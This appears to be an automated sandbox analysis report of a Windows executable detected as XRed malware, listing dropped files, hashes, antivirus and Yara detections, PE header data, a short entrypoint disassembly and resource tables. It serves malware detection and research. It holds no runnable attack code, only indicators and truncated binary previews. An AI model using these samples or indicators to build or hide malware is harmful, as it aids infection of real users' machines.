Size (bytes):	1652
Entropy (8bit):	5.267162888850502
Encrypted:	false
SSDEEP:	24:GgsF+0DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+M+pAZewRDK4mW
MD5:	01C98AFBD82852F05C25ACBC139A8A79
SHA1:	97F1DF42F0078B311C7500283035412EA95F29BB
SHA-256:	9FB344E87EAD63B0AD81A9F1ED6F653DC8E8EACF4C2926F3AE8D9B447801B73D
SHA-512:	7825440F3E82E21C0800E2146D59E27689592E4A4C13D450E8B009ADC056FE44EDAF3C86E9A7C84A869DABD899A7F6228A8302B862805FBAC5D74D8266F9B382
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="d7a8yUqCW6YUlNGByIswUg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gr38vbF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260384726643822
Encrypted:	false
SSDEEP:	24:GgsF+0MMSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+vM+pAZewRDK4mW
MD5:	08B10DB5DE1C39C0E52F1B3DFDCD44F1
SHA1:	7C9438DF3570131085F1B4F587C51DA98FEF7618
SHA-256:	ACABB12A7BE5AE52888209C60B60D4992C0DDEA1CA20C67B549FF0C112046FBF
SHA-512:	493D509CA54F3534FBE1DBF6EC2865E59CCE2BD860896462B366B5A52AA81FF81C905AD3437050E8CFA2C29D1DA6CB5E4B7C66A6E77964114C6BF24B3333D7F5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mwgSRlLOf0MKU2cThJcC8g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iCHGrNE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269498936755021
Encrypted:	false
SSDEEP:	24:GgsF+0vSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+I+pAZewRDK4mW
MD5:	ACAFC0C929F708DC0F55A75168F9719E
SHA1:	461911BE4A2C976092A464A41979255B6E70A960
SHA-256:	2B607659008E44674EF8D65E46219ACE29CE8D7BA65896E0826813994C3A74ED
SHA-512:	492053597D1A2805B00A44BFE891A0AA537AE1E971C859713F843DEE71B54EA65E66FB8724A67071E86E75A66EC6E07C2624B80C09A3E47CB12C5871F4C626C9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="gwr_YRCWbuJMMqGJx6VcoA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mX1SjrG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254943802803285
Encrypted:	false
SSDEEP:	24:GgsF+045bSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tR+pAZewRDK4mW
MD5:	4823C738F785918EAF17C060E7393AE6
SHA1:	26A8B4391A9B23AD4C2A55AA663E254FF9EA5920
SHA-256:	75A32E4AC3CB131580A24E0E7DDD6B46B344F6AB10E3FEBD7C31289BF8A570F9
SHA-512:	BC9689DB0EC2FE1A8715864F2FBAE19F33FDC14533355779A1E24F8CF3AAF1D05ADBC8C77AB8CC65C7CFA274B37936B3D56441944D93650C9549A0FEF02B539A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ybAEwgx1Fc1P-wVimQ_XZg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rgbrFSi.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2657809961039455
Encrypted:	false
SSDEEP:	24:GgsF+0g3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z+pAZewRDK4mW
MD5:	EE3BF8136AADF9EA39BE811D602EA33B
SHA1:	771F00D2A716BF0E80336C1E329FB20ED7A452BB
SHA-256:	F4025B10BD4254151493DDE5438B3E5C62985009016F45BC66C93D292DA1CD98
SHA-512:	1CDDB7C902F7860C6427BBDE6872EBE2996F2B7B116401741C652B9275395A1822A5CAB864D99F712BC12AABCB8066039618591E9C0302C150C99CA0514154CF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uX4qVeVZ0owIm6s1UcNWXQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\w9DNMjW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271805086828944
Encrypted:	false
SSDEEP:	24:GgsF+07SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0+pAZewRDK4mW
MD5:	51B0AE1FEC360A3207BC910DA0D3B495
SHA1:	AE92D8B12F0350110BB780326D3ACDED1237EBBA
SHA-256:	16075EE8F3CB5CC1CD6A4028D20CA4765504162E73E64D9F2F51F31B4DCE08F3
SHA-512:	7E071ACAA8C0077893EAD62542796B8B6FBB9C8A4D7CB8F429099DA90A1E49FAC877B7BB1431E9EB3D7173C0ADAE78B6D3CEC5428267249850075DFF11E91B67
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="AT_GLrHjRHRg9hOrVQ6mcA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zTeCkIo.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264712234691677
Encrypted:	false
SSDEEP:	24:GgsF+0LEDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+eED+pAZewRDK4mW
MD5:	77EE6E0034372452F7F081EB6668E3F6
SHA1:	E18C3C1F93E39686F513F5F5E10EAD3516BE719F
SHA-256:	49F7C478CDF3CAC68B6B854D22AFE4AE32D87EC3C5F11B9C544E806FB4CE4CD9
SHA-512:	0690FCF76FFAD2FBD289AA71A462E44E378971F2A8FD974CC889B01FEF2321E8364539FCB433222D226D83B4A19D068D5500812E94BFF4EA65D20B2F01043B1C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WEUSnx93gPdYIdqGi4-WxQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\~$1wyw8T59.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	false
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DF21A6BD85C480FA99.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Download File

Process:	C:\Users\user\Desktop\ZmrwoZsbPp.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	87616
Entropy (8bit):	5.672602929520741
Encrypted:	false
SSDEEP:	768:EnTOvIJlhsx5usDye6RCb/mvWQSYrIDqAbm3Scaxk+Di6l7hIEtedRt4OVLR0bw7:ECWY6SuvlK7bmIxkO3Zted74OVlwOos
MD5:	853A72D29F1B6BDF5B3CA6858E66BD7D
SHA1:	A2B559F13CF48EF7BF92CA124713EE06CDAC3133
SHA-256:	337E669B6BAF16353F88B9A27CFE80ECDCFE18B2A6E28BC2C1B8DDB4B1C1AC96
SHA-512:	4A6A87DB5216D005A7B6DCD891F3C051E575E29AABB1DC2359266D7F2AD20E8E5562F7E388362C62AB7320A91A6EDA6430484F0307175228FE9F55F24740DB41
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S...=...=...=...@...=...P..=...`...=...<..=...S...=...A...=...E...=.Rich..=.........................PE..L.....H.............................W............@..........................P......X................................................0..p............@..@...............................................@............................................text...J........................... ..`.rdata..x0.......@..................@..@.data....#....... ..................@....rsrc...p....0... ... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\AIXACVYBSB\DTBZGIOOSO.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\AIXACVYBSB\~$DTBZGIOOSO.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	false
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\AIXACVYBSB\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.625480193935373
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Ipr:ansJ39LyjbJkQFMhmC+6GD9G
MD5:	5643B6B0642A78914B2CA1BD87F25732
SHA1:	06FBEB72ADC2CDFDEF2982BEBA0E12EC76F3F3DE
SHA-256:	E88C4A3D3B1D82A5782A4E8D604C857375D93292D386DC99B527CD3770C9A0B5
SHA-512:	520E28AC806E9C31D79AC3B428D783A1E52D01045704D77A016EC9C94DC5DD10BFB6EB1A50AFB098ED1ADB64E4D05B00051DF0CAC5B9DF52A5CC5F99C5EEE120
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\AIXACVYBSB\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\AIXACVYBSB\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465635109759704
Encrypted:	false
SSDEEP:	6144:7IXfpi67eLPU9skLmb0b4vWSPKaJG8nAgejZMMhA2gX4WABl0uN9dwBCswSb8:cXD94vWlLZMM6YFHf+8
MD5:	1E507CFA43E300D9273E12324BF51C00
SHA1:	857BEE517A7DDE2C38FBD9811D63E94597D0A576
SHA-256:	A92F906F02D1FA54E7659B3A369CA7FEC569F8486F9B1594A02160E46F93918F
SHA-512:	2B1B9D1662F22CE228EF50AD8F2FDF391CD5D0F4B3F5034617DB7EAB54E7EAEE9626D3C146786E783FAE027FB342B120B9E5668402615705F03D0F9101574B19
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....kG..............................................................................................................................................................................................................................................................................................................................................wF..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.558234867579871
TrID:	Win32 Executable (generic) a (10002005/4) 93.21% Win32 Executable Borland Delphi 7 (665061/41) 6.20% InstallShield setup (43055/19) 0.40% Win32 Executable Delphi generic (14689/80) 0.14% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	ZmrwoZsbPp.exe
File size:	859'136 bytes
MD5:	803d6a88884f159f529566a156596e49
SHA1:	48cc2c11c3cbb7d6973b15eed838da61629f5614
SHA256:	385e9152c8a7fbf298cc12b319f0077e78ec9a1901adda0b4b9a48d23adc1370
SHA512:	dfec6a7c0e81d7e9fca28b8b4668d344b3c81f58e0455ac579c3eddc96fff191668a2211f689101f03b8f7867ce57c0b1d39dd093fdd4bfaca41b5f956855ba2
SSDEEP:	12288:ZMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V91xE7:ZnsJ39LyjbJkQFMhmC+6GD9fs
TLSH:	48057D33F6D18437D1321A3D8C5BA3A5582ABE512E38794B7BF91E4C5F3938229252D3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	475e5f4d66a36df6

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F9DF4495AEDh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F9DF44E9435h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F9DF44E9034h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F9DF44E9424h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F9DF44E9498h
call 00007F9DF44935CBh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x27370	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x27370	0x27400	18e5a3e9aaf1e98ff048dfbefd74e529	False	0.4430670282643312	data	5.715822148028246	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.08161350844277673
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
